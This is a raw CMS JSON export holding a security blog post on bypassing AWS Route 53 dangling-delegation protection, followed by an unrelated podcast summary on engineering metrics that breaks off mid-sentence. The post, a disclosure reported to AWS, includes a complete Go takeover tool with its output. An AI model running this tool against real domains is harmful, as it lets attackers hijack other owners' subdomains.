,{"type":25,"text":39948,"spans":39949},"This is how AWS NS subdomain takeovers worked a few years ago. There's an excellent article on the topic by Shiv Sahni:AWS NS Takeover",[39950],{"start":4178,"end":7408,"type":489,"data":39951},{"link_type":491,"url":39952},"https:\u002F\u002Fshivsahni2.medium.com\u002Faws-ns-takeover-356d2a293bca","rich_text$42f6c495-ccd0-4ee8-b89f-dbe09751d5e5",{"variation":437,"version":438,"items":39955,"primary":39956,"id":39984,"slice_type":468,"slice_label":5},[],{"body":39957},[39958,39961,39964,39967,39973,39978],{"type":746,"text":39959,"spans":39960},"AWS's Protection from dangling delegation records in Route 53",[],{"type":25,"text":39962,"spans":39963},"If you try to replicate the proof of concept linked in the Shiv's article today you aren't going to be successful.",[],{"type":25,"text":39965,"spans":39966},"AWS has implemented a protection against dangling delegations, but they are not vocal about the implementation details of that protection.",[],{"type":25,"text":39968,"spans":39969},"AWS has documented this protection in their docs, although they've since updated the documentation after our report, the current version of the documentation can be found here: https:\u002F\u002Fdocs.aws.amazon.com\u002FRoute53\u002Flatest\u002FDeveloperGuide\u002Fprotection-from-dangling-dns.html.",[39970],{"start":9290,"end":9259,"type":489,"data":39971},{"link_type":491,"url":39972},"https:\u002F\u002Fdocs.aws.amazon.com\u002FRoute53\u002Flatest\u002FDeveloperGuide\u002Fprotection-from-dangling-dns.html",{"type":25,"text":39974,"spans":39975},"but before Oct 2023 the documentation said:",[39976],{"start":4603,"end":1486,"type":489,"data":39977},{"link_type":491,"url":39972},{"type":25,"text":39979,"spans":39980},"In Route 53, when you use nameserver (NS) records to delegate the management of a subdomain to another public hosted zone, a problem could arise if the subdomain hosted zone is deleted without also deleting the delegation. Another user could potentially re-create the subdomain hosted zone and gain control via the still-active delegation belonging to the first customer. However, Route 53 protects against such “dangling” delegations by not allowing any new hosted zones with overlapping domain names to be created by using those nameservers before verifying that the delegation has first been removed.",[39981,39983],{"start":398,"end":39982,"type":765},603,{"start":398,"end":39982,"type":593},"rich_text$6cf0414b-bfa1-41ab-a4b7-73873db2018c",{"variation":437,"version":438,"items":39986,"primary":39987,"id":39998,"slice_type":468,"slice_label":5},[],{"body":39988},[39989,39992,39995],{"type":25,"text":39990,"spans":39991},"It got me speculating on how I would implement such protection myself and I had two ideas of what could happen upon zone creation:",[],{"type":3373,"text":39993,"spans":39994},"Query public DNS for a newly created domain and note all NS records discovered",[],{"type":3373,"text":39996,"spans":39997},"Query all customer NS records in Route53 that could overlap with newly created one and note all NS records discovered",[],"rich_text$497a2323-b539-4dc1-bdda-dbf01f7f302a",{"variation":437,"version":438,"items":40000,"primary":40001,"id":40009,"slice_type":468,"slice_label":5},[],{"body":40002},[40003,40006],{"type":25,"text":40004,"spans":40005},"The next step is to avoid assigning the name servers (from the shared pool) that were noted to the newly created zone.",[],{"type":25,"text":40007,"spans":40008},"Depending on how AWS stores the data the second option might be computationally expensive to execute, it also has a problem that the protection would only work in the realm of Route53, if a dangling record was created on another DNS provider it would not be effective.",[],"rich_text$a710bf9b-1c02-4fdb-ba27-5eb3f1650a4d",{"variation":437,"version":527,"items":40011,"primary":40012,"id":40026,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":40013,"body":40014,"cta_label":5,"cta_link":40015,"aside_type":533,"aside_image":40016,"aside_video":40021,"aside_video_poster":40022,"aside_video_reduced_motion":40023,"aside_video_url":5,"aside_embed":40024,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":40025,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":40017,"alt":5,"copyright":5,"url":40018,"id":40019,"edit":40020},{"width":19778,"height":2532},"\u002F_prismic-media\u002Fffe51969aac632dd-8s7cukSkgQYWdjAb_ca2351d4-219e-436b-b44c-e234f73.png","8s7cukSkgQYWdjAb",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$f6f2ba6b-acd1-4388-8fcb-123f00874656",{"variation":437,"version":438,"items":40028,"primary":40029,"id":40034,"slice_type":468,"slice_label":5},[],{"body":40030},[40031],{"type":25,"text":40032,"spans":40033},"Therefore I had a feeling AWS could use public DNS to discover those dangling delegations. Although this is a pure speculation, with that came my next realisation.",[],"rich_text$793d807b-3c07-44ad-99d1-0e198beb0e05",{"variation":437,"version":438,"items":40036,"primary":40037,"id":40053,"slice_type":468,"slice_label":5},[],{"body":40038},[40039,40042,40046],{"type":746,"text":40040,"spans":40041},"...the protection might be flawed",[],{"type":25,"text":40043,"spans":40044},"Imagine there's a dangling record for dangling.example.com",[40045],{"start":11705,"end":9203,"type":593},{"type":25,"text":40047,"spans":40048},"What if you were a little cheeky and instead of creating a zone for dangling.example.com to perform the takeover, you tried to create example.com and inside it create a dangling.example.com record? AWS wouldn't be able to discover dangling.example.com has a dangling NS record since it's not possible to perform DNS enumeration easily and when creating a record the zone already has nameservers assigned.",[40049,40050,40051,40052],{"start":9232,"end":3290,"type":593},{"start":7408,"end":19521,"type":593},{"start":13573,"end":10863,"type":593},{"start":13003,"end":19455,"type":593},"rich_text$154e4160-97ad-4c3b-aaaa-22346fdf5ec6",{"variation":437,"version":527,"items":40055,"primary":40056,"id":40070,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":40057,"body":40058,"cta_label":5,"cta_link":40059,"aside_type":533,"aside_image":40060,"aside_video":40065,"aside_video_poster":40066,"aside_video_reduced_motion":40067,"aside_video_url":5,"aside_embed":40068,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":40069,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":40061,"alt":5,"copyright":5,"url":40062,"id":40063,"edit":40064},{"width":19778,"height":2532},"\u002F_prismic-media\u002Fbd3f5e6e10f93995-jS2-n5ysTyA-cS0K_c11aa6c5-e59a-46e1-b426-a851403.png","jS2-n5ysTyA-cS0K",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$6bcf9410-2534-4a03-baaf-544d19f391a4",{"variation":437,"version":438,"items":40072,"primary":40073,"id":40078,"slice_type":468,"slice_label":5},[],{"body":40074},[40075],{"type":25,"text":40076,"spans":40077},"This prompted me to create a PoC to test that.",[],"rich_text$af5deef1-000d-49bc-bd9a-5e5d4cebc6c5",{"variation":437,"version":438,"items":40080,"primary":40081,"id":40086,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":40082},[40083],{"type":27922,"text":40084,"spans":40085},".\u002Fns-takeover dangling.example.com\n\nLooking up dangling.example.com using a.root-servers.net\nLooking up dangling.example.com using e.gtld-servers.net.\nLooking up dangling.example.com using ns-172.awsdns-21.com.\nLooking up dangling.example.com using ns-1084.awsdns-07.org.\n\nAttempting a takeover for dangling.example.com. by creating example.com, looking for NS=[{Name:dangling.example.com. NS:ns-1084.awsdns-07.org.} {Name:dangling.example.com. NS:ns-1929.awsdns-49.co.uk.} {Name:dangling.example.com. NS:ns-362.awsdns-45.com.} {Name:dangling.example.com. NS:ns-528.awsdns-02.net.}]\n\n#0: Nameservers do not match, got [ns-1675.awsdns-17.co.uk ns-1232.awsdns-26.org ns-1010.awsdns-62.net ns-496.awsdns-62.com], removing\n#1: Nameservers do not match, got [ns-459.awsdns-57.com ns-1548.awsdns-01.co.uk ns-653.awsdns-17.net ns-1499.awsdns-59.org], removing\n#2: Nameservers do not match, got [ns-241.awsdns-30.com ns-1228.awsdns-25.org ns-1940.awsdns-50.co.uk ns-516.awsdns-00.net], removing\n#3: Nameservers do not match, got [ns-1654.awsdns-14.co.uk ns-1410.awsdns-48.org ns-588.awsdns-09.net ns-211.awsdns-26.com], removing\n[...]\n#102: Takeover successful: ns-528.awsdns-02.net, zoneID: \u002Fhostedzone\u002FZ0123",[],"code_block$0f91eaba-e345-4db7-966c-4bde73cb4b49",{"variation":437,"version":438,"items":40088,"primary":40089,"id":40099,"slice_type":468,"slice_label":5},[],{"body":40090},[40091,40095],{"type":25,"text":40092,"spans":40093},"And with that we've performed a takeover. The next step is to create a record for dangling.example.com",[40094],{"start":1406,"end":4073,"type":593},{"type":25,"text":40096,"spans":40097},"create-record.json:",[40098],{"start":398,"end":2769,"type":593},"rich_text$1a1dc32c-49e0-4dc4-8aa3-a817ab54c234",{"variation":437,"version":438,"items":40101,"primary":40102,"id":40107,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":40103},[40104],{"type":27922,"text":40105,"spans":40106},"{\n    \"Comment\": \"add dangling.example.com record\",\n    \"Changes\": [\n        {\n            \"Action\": \"CREATE\",\n            \"ResourceRecordSet\": {\n                \"Name\": \"dangling.example.com.\",\n                \"Type\": \"A\",\n                \"TTL\": 300,\n                \"ResourceRecords\": [\n                    {\n                        \"Value\": \"127.0.0.1\"\n                    }\n                ]\n            }\n        }\n    ]\n}",[],"code_block$c74c8c2f-4ee5-444c-a18e-418e734ab3c0",{"variation":437,"version":438,"items":40109,"primary":40110,"id":40115,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":40111},[40112],{"type":27922,"text":40113,"spans":40114},"aws route53 change-resource-record-sets --hosted-zone-id Z0123 --change-batch file:\u002F\u002Fcreate-record.json",[],"code_block$5f8eae6d-f2ea-422d-bc8c-e29ccd2ecdaf",{"variation":437,"version":438,"items":40117,"primary":40118,"id":40123,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":40119},[40120],{"type":27922,"text":40121,"spans":40122},"$ dig dangling.example.com\n\n; \u003C\u003C>> DiG 9.10.6 \u003C\u003C>> a dangling.example.com\n;; global options: +cmd\n;; Got answer:\n;; ->>HEADER\u003C\u003C- opcode: QUERY, status: NOERROR, id: 21681\n;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1\n\n;; OPT PSEUDOSECTION:\n; EDNS: version: 0, flags:; udp: 4096\n;; QUESTION SECTION:\n;dangling.example.com.       IN      A\n\n;; ANSWER SECTION:\ndangling.example.com.            300     IN      A       127.0.0.1",[],"code_block$3f31a791-d4a4-4cec-abab-52471cfcd9e2",{"variation":437,"version":438,"items":40125,"primary":40126,"id":40131,"slice_type":27926,"slice_label":5},[],{"language_label":5,"code":40127},[40128],{"type":27922,"text":40129,"spans":40130},"package main\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"fmt\"\n\t\"github.com\u002Faws\u002Faws-sdk-go-v2\u002Fconfig\"\n\t\"github.com\u002Faws\u002Faws-sdk-go-v2\u002Fservice\u002Froute53\"\n\t\"github.com\u002Faws\u002Faws-sdk-go-v2\u002Fservice\u002Froute53\u002Ftypes\"\n\t\"github.com\u002Fmiekg\u002Fdns\"\n\t\"log\"\n\t\"net\"\n\t\"os\"\n\t\"strings\"\n\t\"time\"\n)\n\nfunc resolveNSIP(nameserver string) (net.IP, error) {\n\tip := net.ParseIP(nameserver)\n\tif ip != nil {\n\t\treturn ip, nil\n\t}\n\n\tips, err := net.LookupIP(nameserver)\n\tif err != nil {\n\t\treturn ip, err\n\t}\n\n\tif len(ips) \u003C= 0 {\n\t\treturn ip, errors.New(\"no records found\")\n\t}\n\treturn ips[0], nil\n}\n\n\u002F\u002F nameserver can be a hostname or an ip address\nfunc nonRecursiveLookup(name, nameserver string, rType uint16) (*dns.Msg, error) {\n\tnameserverIP, err := resolveNSIP(nameserver)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmsg := &dns.Msg{}\n\tmsg.SetQuestion(dns.Fqdn(name), rType)\n\tmsg.RecursionDesired = false\n\n\tc := &dns.Client{}\n\tresp, _, err := c.Exchange(msg, net.JoinHostPort(nameserverIP.String(), \"53\"))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error looking up authoritative NS records for %s using %s: %w\", name, nameserver, err)\n\t}\n\n\treturn resp, err\n}\n\ntype NS struct {\n\tName string\n\tNS   string\n}\n\nconst maxRecursionDepth = 40\n\nfunc DanglingRecords(name string) ([]NS, error) {\n\tdelegatedNS := []NS{\n\t\t{\n\t\t\tName: \".\",\n\t\t\tNS:   \"a.root-servers.net\",\n\t\t},\n\t}\n\tname = strings.TrimSuffix(name, \".\")\n\n\tfor i := 0; ; i++ {\n\t\tif i == maxRecursionDepth {\n\t\t\treturn nil, errors.New(\"max recursion depth reached, something weird is going on\")\n\t\t}\n\n\t\tlog.Printf(\"Looking up %s using %s\", name, delegatedNS[0].NS)\n\n\t\t\u002F\u002F NOTE: we probably want to test other NS records in case\n\t\t\u002F\u002F - a takeover was already performed\n\t\t\u002F\u002F - only a single NS record is misconfigured\n\t\tmsg, err := nonRecursiveLookup(name, delegatedNS[0].NS, dns.TypeNS)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif msg.Rcode != dns.RcodeSuccess {\n\t\t\treturn delegatedNS, nil\n\t\t}\n\n\t\tdelegatedNS = []NS{}\n\t\tfor _, rec := range msg.Ns {\n\t\t\tif nsRec, ok := rec.(*dns.NS); ok {\n\t\t\t\tdelegatedNS = append(delegatedNS, NS{\n\t\t\t\t\tName: nsRec.Hdr.Name,\n\t\t\t\t\tNS:   nsRec.Ns,\n\t\t\t\t})\n\t\t\t}\n\t\t}\n\n\t\tif len(delegatedNS) == 0 {\n\t\t\treturn nil, nil\n\t\t}\n\t}\n}\n\nfunc main() {\n\tctx := context.Background()\n\tif len(os.Args) != 2 {\n\t\tlog.Fatalln(\"usage: ns-takeover \u003CFQDN>\")\n\t}\n\n\tdomainToTakeover := strings.TrimSuffix(os.Args[1], \".\") + \".\"\n\n\tsess, err := config.LoadDefaultConfig(ctx)\n\tif err != nil {\n\t\tlog.Fatalln(\"error loading session config for aws client\", err)\n\t}\n\n\tdnsClient := route53.NewFromConfig(sess)\n\tdanglingNS, err := DanglingRecords(domainToTakeover)\n\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\n\tif len(danglingNS) == 0 {\n\t\tlog.Println(\"no dangling records found, takeover not possible\")\n\t\tos.Exit(1)\n\t}\n\n\t\u002F\u002F AWS has a protection against creating dangling records: https:\u002F\u002Fdocs.aws.amazon.com\u002FRoute53\u002Flatest\u002FDeveloperGuide\u002Fprotection-from-dangling-dns.html\n\t\u002F\u002F Creating a public zone for a parent domain circumvents the protection\n\tparentZone := strings.Join(strings.Split(strings.TrimSuffix(danglingNS[0].Name, \".\"), \".\")[1:], \".\")\n\n\tlog.Printf(\"Attempting a takeover for %s by creating %s, looking for NS=%+v\", domainToTakeover, parentZone, danglingNS)\n\n\tfor i := 0; ; i++ {\n\t\tref := fmt.Sprintf(\"ns-brute-%s\", time.Now().String())\n\t\tcomment := \"ns-brute\"\n\t\tout, err := dnsClient.CreateHostedZone(ctx, &route53.CreateHostedZoneInput{\n\t\t\tCallerReference: &ref,\n\t\t\tName:            &parentZone,\n\t\t\tHostedZoneConfig: &types.HostedZoneConfig{\n\t\t\t\tComment:     &comment,\n\t\t\t\tPrivateZone: false,\n\t\t\t},\n\t\t})\n\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Creating Hosted Zone failed: %s\", err)\n\t\t}\n\n\t\tds := out.DelegationSet\n\t\tif ds == nil || len(ds.NameServers) == 0 {\n\t\t\tlog.Fatal(\"Creating Hosted Zone failed: delegation set is empty\")\n\t\t}\n\n\t\tfor _, ns := range ds.NameServers {\n\t\t\tzoneNS := strings.ToLower(strings.TrimSuffix(ns, \".\"))\n\t\t\tfor _, targetNS := range danglingNS {\n\t\t\t\tunifiedTargetNS := strings.ToLower(strings.TrimSuffix(targetNS.NS, \".\"))\n\t\t\t\tif zoneNS == unifiedTargetNS {\n\t\t\t\t\tlog.Printf(\"#%d: Takeover successful: %s, zoneID: %s\", i, ns, *out.HostedZone.Id)\n\t\t\t\t\tos.Exit(0)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tlog.Printf(\"#%d: Nameservers do not match, got %v, removing\", i, ds.NameServers)\n\n\t\t_, err = dnsClient.DeleteHostedZone(ctx, &route53.DeleteHostedZoneInput{Id: out.HostedZone.Id})\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"Removing hosted zone failed\", err)\n\t\t}\n\n\t\t\u002F\u002F be gentle :)\n\t\ttime.Sleep(1 * time.Second)\n\t}\n}",[],"code_block$365c11c4-6968-4837-b4ff-2fe9b9e4155e",{"variation":437,"version":438,"items":40133,"primary":40134,"id":40145,"slice_type":468,"slice_label":5},[],{"body":40135},[40136,40139,40142],{"type":746,"text":40137,"spans":40138},"Ineffective protection might be worse than no protection at all",[],{"type":25,"text":40140,"spans":40141},"One could easily imagine a scenario where a dangling record is discovered using a perimeter scanner of sorts. It'd be easy to downplay the finding by citing the protection.",[],{"type":25,"text":40143,"spans":40144},"In such case you might wrongly believe that your systems are secure. The false sense of security can lead to lack of urgency in addressing the security risk. In contrast, if there's no protection and you are aware of the vulnerability you will prioritize fixing it.",[],"rich_text$7893c184-9101-454c-9a80-45f5dd95a095",{"variation":437,"version":438,"items":40147,"primary":40148,"id":40167,"slice_type":468,"slice_label":5},[],{"body":40149},[40150,40153,40156,40161],{"type":746,"text":40151,"spans":40152},"Reporting the vulnerability to AWS support",[],{"type":25,"text":40154,"spans":40155},"After discovering the vulnerability we've contacted AWS support and they updated the documentation to reflect the issues discovered in this post.",[],{"type":25,"text":40157,"spans":40158},"The documentation is now a decent resource on how to mitigate the risk of NS misconfiguration.",[40159],{"start":398,"end":6911,"type":489,"data":40160},{"link_type":491,"url":39972},{"type":25,"text":40162,"spans":40163},"AWS has vulnerability reporting guidelines, which you can find under https:\u002F\u002Faws.amazon.com\u002Fsecurity\u002Fvulnerability-reporting\u002F",[40164],{"start":3397,"end":10343,"type":489,"data":40165},{"link_type":491,"url":40166},"https:\u002F\u002Faws.amazon.com\u002Fsecurity\u002Fvulnerability-reporting\u002F","rich_text$3e7e28c4-c2f7-4301-b2ef-0315c40a9c1a",{"variation":437,"version":438,"items":40169,"primary":40170,"id":40177,"slice_type":468,"slice_label":5},[],{"body":40171},[40172,40174],{"type":746,"text":28602,"spans":40173},[],{"type":25,"text":40175,"spans":40176},"New venues of executing subdomain takeovers continue to emerge even with protections in place. While using cloud services offers great security benefits, blindly trusting documentation might not cut it. Conduct your own tests and double-check claims. If you find anything, report it. It not only keeps you safe, but also helps others.",[],"rich_text$b3957f7c-1a02-4087-8ef3-d69b7f070895",{"id":40179,"uid":40180,"type":25949,"data":40181},"alz1ABEAACoAUWdf","podcast-engineering-success",{"title":40182,"excerpt":40183,"card_image":40184,"published_date":13507,"reading_time":4603,"tag":25960,"dek":40183,"featured_image":40189,"about_form3":40194,"client_about_heading":5,"client_about_body":40195,"author_name":18970,"author_title":18971,"author_photo":40196,"author_bio":40199,"author_linkedin":40202,"slices":40204,"meta_title":40182,"meta_description":40183},".tech Podcast - Measuring the success of engineering teams","Evelina Vrabie joins us to share her insights into measuring the success of engineering teams. She tells us about the role of an engineering manager as well as the four types of success. Then, she walks us through how to measure productivity and high performance through research-based frameworks.",{"dimensions":40185,"alt":40182,"copyright":5,"url":40186,"id":40187,"edit":40188},{"width":412,"height":412},"\u002F_prismic-media\u002F69c20bfc377baabb-GjSNJ_gnOM-mLLQp_podcast-engineering-success.png","GjSNJ_gnOM-mLLQp",{"x":398,"y":398,"zoom":399,"background":400},{"dimensions":40190,"alt":5,"copyright":5,"url":40191,"id":40192,"edit":40193},{"width":501,"height":33951},"\u002F_prismic-media\u002F3d9c9f3e1f76ad9f-8TZVyXBa_AmDEShV_69f47283-174a-4c4f-97a6-7980611.png","8TZVyXBa_AmDEShV",{"x":398,"y":398,"zoom":399,"background":400},[],[],{"dimensions":40197,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":40198},{"width":5080,"height":5081},{"x":398,"y":398,"zoom":399,"background":650},[40200],{"type":25,"text":25971,"spans":40201},[],{"link_type":491,"key":40203,"url":25975,"target":493},"f29bfe6b-1f49-48dc-b60c-0a6ea0dc01eb",[40205,40225,40252,40275,40308,40362,40395,40440,40468],{"variation":437,"version":527,"items":40206,"primary":40207,"id":40224,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":40208,"body":40212,"cta_label":10704,"cta_link":40215,"aside_type":5,"aside_image":40218,"aside_video":40219,"aside_video_poster":40220,"aside_video_reduced_motion":40221,"aside_video_url":5,"aside_embed":40222,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":40223,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[40209],{"type":746,"text":40210,"spans":40211},"Ep 35 .tech - Measuring the success of engineering teams",[],[40213],{"type":25,"text":10702,"spans":40214},[],{"link_type":491,"key":40216,"url":40217},"60d8cd09-ed59-4779-8e18-53a5ebb4e1cd","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-35-tech-measuring-the-success-of-engineering-teams-F6EPjD8D",{},{"link_type":536},{},{},{},{"link_type":542},"content_block$f9e67db2-2114-42a5-aba6-27c1e2b7b670",{"variation":437,"version":438,"items":40226,"primary":40227,"id":40251,"slice_type":468,"slice_label":5},[],{"body":40228},[40229],{"type":25,"text":40230,"spans":40231},"Evelina Vrabie is an Engineering Manager at Hopin. She is an engineering leader with over 15 years of experience, with a strong entrepreneurial, management and technical background. In her, Master's degree she explored the use of artificial intelligence in work therapy for high performance environments. Her work culminated in co-founding Touco Labs, a FinTech with the purpose of helping personal finance. Evelina's blog is called Jumpstart and  she often publishes for CTO Craft as well. Follow these resources to connect with her.",[40232,40235,40238,40241,40245,40247],{"start":398,"end":2987,"type":489,"data":40233},{"link_type":491,"url":40234},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fevelinavrabie\u002F",{"start":2674,"end":2868,"type":489,"data":40236},{"link_type":491,"url":40237},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Fhopinofficial\u002F",{"start":884,"end":5586,"type":489,"data":40239},{"link_type":491,"url":40240},"https:\u002F\u002Fwww.linkedin.com\u002Fcompany\u002Ftoucotalks\u002F",{"start":8904,"end":40242,"type":489,"data":40243},442,{"link_type":491,"url":40244},"https:\u002F\u002Fmedium.com\u002Fjump-start",{"start":40242,"end":40246,"type":593},443,{"start":6965,"end":40248,"type":489,"data":40249},481,{"link_type":491,"url":40250},"https:\u002F\u002Fctocraft.com\u002F","rich_text$9a175afc-4100-4400-ac0a-12bdce47f855",{"variation":437,"version":438,"items":40253,"primary":40254,"id":40274,"slice_type":468,"slice_label":5},[],{"body":40255},[40256,40259,40262,40265,40268,40271],{"type":746,"text":40257,"spans":40258},"The role of a manager",[],{"type":25,"text":40260,"spans":40261},"Evelina begins by sharing what an engineering manager or leader means to her. Her view is that technical leaders bring their unique perspectives on technology to help the strategic execution of their companies. In practice, that means:",[],{"type":1151,"text":40263,"spans":40264},"Helping find a way to calibrate product and business technical strategy",[],{"type":1151,"text":40266,"spans":40267},"Supporting the generation of new ideas, most often by combining existing technologies to obtain a new result",[],{"type":1151,"text":40269,"spans":40270},"Making tradeoffs and creating a balance portfolio of product\u002Ffeature work and technical debt",[],{"type":25,"text":40272,"spans":40273},"In order to achieve this, leaders have to develop the ability to understand and shape a particular function in a company. In a small startup, leadership roles often span across many areas from product, to technology to finance. In larger companies, leadership roles often become more specialised, but still require an understanding on other functionalities. This can be very difficult to do, as leaders often need to take into account problems that aren't even in the technology domain.",[],"rich_text$c729a97f-3b75-4984-be08-933e436842bf",{"variation":437,"version":438,"items":40276,"primary":40277,"id":40307,"slice_type":468,"slice_label":5},[],{"body":40278},[40279,40282,40285,40288,40292,40296,40300,40304],{"type":746,"text":40280,"spans":40281},"Defining the success of engineering teams",[],{"type":25,"text":40283,"spans":40284},"Evelina believes that the success of an individual or a team needs to start with where they are, their context and their organisation. Understanding the company goals and strategies, as well as the fact that they will be different at different times. There are always multiple successful paths or strategies, each coming at a different cost. Just like in a complex, distributed system, which is never fully healthy, nor is an organisation fully successful. Success is variable, especially in technology startups which are often compared to rollercoasters.",[],{"type":25,"text":40286,"spans":40287},"There are at least four types of success that Evelina has dealt with in her experience as an engineering leader:",[],{"type":3373,"text":40289,"spans":40290},"Commercial success: the company is generating enough revenue to justify investment and growth",[40291],{"start":398,"end":2769,"type":593},{"type":3373,"text":40293,"spans":40294},"Product success: the company is offering products and services without which customers would be truly unhappy",[40295],{"start":398,"end":8472,"type":593},{"type":3373,"text":40297,"spans":40298},"Software delivery success: the company delivers these products and services as effectively as possible",[40299],{"start":398,"end":1066,"type":593},{"type":3373,"text":40301,"spans":40302},"Cultural\u002Forganisational success: the company offers a workplace where employees feel they belong and work on challenging and rewarding work. This is perhaps the most underrated type of success",[40303],{"start":398,"end":690,"type":593},{"type":25,"text":40305,"spans":40306},"All of these types of successes and outcomes require engineering leaders to employ different types of measurement metrics.",[],"rich_text$b34a6d49-f53c-4954-9071-ef02c3802db2",{"variation":437,"version":438,"items":40309,"primary":40310,"id":40361,"slice_type":468,"slice_label":5},[],{"body":40311},[40312,40315,40321,40324,40327,40330,40333,40336,40342,40346,40350,40354,40358],{"type":746,"text":40313,"spans":40314},"Measuring the success and productivity of engineering teams",[],{"type":25,"text":40316,"spans":40317},"As we begin to look at measuring software delivery success, Evelina recommends that leaders start by identifying first the problems they need to solve. Then, they can proceed to identifying the outcomes they want to measure. Once these outcomes are identified, they can be placed into a framework like OKRs:",[40318],{"start":36090,"end":18656,"type":489,"data":40319},{"link_type":491,"url":40320},"https:\u002F\u002Fwww.whatmatters.com\u002Fget-started",{"type":1151,"text":40322,"spans":40323},"Choose a series of objectives",[],{"type":1151,"text":40325,"spans":40326},"Create a series of key results and initiatives to deliver those objectives",[],{"type":1151,"text":40328,"spans":40329},"Choose a set of metrics to measure progress towards those key results",[],{"type":25,"text":40331,"spans":40332},"As technology leaders, we need to understand things that are outside of technology. One example Evelina gives is understanding the basics of a marketing funnel, when trying to improve the number of users for a service.",[],{"type":25,"text":40334,"spans":40335},"Teams should be heavily involved when setting the success strategy, especially in the metric setting part of the process. The engineers on your team should understand their success metrics very well. Leaders need to understand that their teams never exist in a vacuum and are always affected by factors outside of only technology.",[],{"type":25,"text":40337,"spans":40338},"High performing organisations invest in software delivery success and organisational success. When it comes to organisational success, the folks behind the book \"Accelerate: The Science of Lean Software and DevOps\" have been pushing new research on scaling high performing technology organisations. The whole idea behind this research is to not even start with measuring as a goal, instead we need to ensure that the company has in place at least a dozen key capabilities that are proven to increase both delivery and organisational performance. Evelina lists some common examples of these capabilities:",[40339],{"start":9289,"end":17502,"type":489,"data":40340},{"link_type":491,"url":40341},"https:\u002F\u002Fitrevolution.com\u002Faccelerate-book\u002F",{"type":1151,"text":40343,"spans":40344},"Continuous delivery: CI, version control, automated deployments, test automation etc.",[40345],{"start":398,"end":6262,"type":593},{"type":1151,"text":40347,"spans":40348},"Architecture: loosely coupled, test and deploy on demand, empowered teams which can change their tools",[40349],{"start":398,"end":2707,"type":593},{"type":1151,"text":40351,"spans":40352},"Product & Process: continuously gathering customer feedback, ensuring that teams have good visibility into the work flow and the value their deliver, working in small batches",[40353],{"start":398,"end":6911,"type":593},{"type":1151,"text":40355,"spans":40356},"Lean management & Monitoring: lightweight change approval process, monitoring across the application, code reviews",[40357],{"start":398,"end":9704,"type":593},{"type":25,"text":40359,"spans":40360},"Once these capabilities are in place, we can begin to choose the metrics that we care about. We need to be careful about how we use these metrics and break them down accordingly as well. No matter how many metrics we know and we employ, Evelina thinks leaders should understand that blockages are not caused by technology and code, they are caused by people.",[],"rich_text$f849af03-1cf3-4fa3-a8a7-aca3b5b80204",{"variation":437,"version":438,"items":40363,"primary":40364,"id":40394,"slice_type":468,"slice_label":5},[],{"body":40365},[40366,40369,40378,40382,40385,40388,40391],{"type":746,"text":40367,"spans":40368},"Anti-patterns",[],{"type":25,"text":40370,"spans":40371},"Evelina recommends the article \"When Incentives Fail. A Story about Rats, Cobras, Nails, and Atrocities\". This article provides many examples from human history of Goodhart's law, which states:",[40372,40375],{"start":690,"end":6780,"type":489,"data":40373},{"link_type":491,"url":40374},"https:\u002F\u002Fwww.roxanamurariu.com\u002Fwhen-incentives-fail-a-story-about-rats-cobras-nails-and-atrocities\u002F",{"start":19962,"end":3045,"type":489,"data":40376},{"link_type":491,"url":40377},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FGoodhart%27s_law",{"type":25,"text":40379,"spans":40380},"\"When a measure becomes a target, it ceases to be a good measure\"",[40381],{"start":398,"end":9237,"type":593},{"type":25,"text":40383,"spans":40384},"Evelina summarises at least 3 types of anti-patterns:",[],{"type":1151,"text":40386,"spans":40387},"Having metrics for the sake of metrics",[],{"type":1151,"text":40389,"spans":40390},"Having metrics imposed externally",[],{"type":1151,"text":40392,"spans":40393},"Having metrics that are linked to the wrong incentives",[],"rich_text$062213dc-7f16-4be7-afe6-852097a9a345",{"variation":437,"version":438,"items":40396,"primary":40397,"id":40439,"slice_type":468,"slice_label":5},[],{"body":40398},[40399,40402,40408,40412,40415,40418,40422,40425,40428,40431,40434],{"type":746,"text":40400,"spans":40401},"High performance",[],{"type":25,"text":40403,"spans":40404},"Less than half of startups achieve both organisational and delivery success. Evelina points us to The SPACE of Developer Productivity framework, which has the headline:",[40405],{"start":2237,"end":783,"type":489,"data":40406},{"link_type":491,"url":40407},"https:\u002F\u002Fqueue.acm.org\u002Fdetail.cfm?id=3454124",{"type":25,"text":40409,"spans":40410},"There's more to it than you think.",[40411],{"start":398,"end":1131,"type":593},{"type":25,"text":40413,"spans":40414},"Most technology leaders, which have limited exposure to research, often only emphasise activity metrics, completely disregarding people metrics. The lack of organisational performance leads to loss of productivity, burnout and attrition. Both of these need to be considered if we want to see an impact on 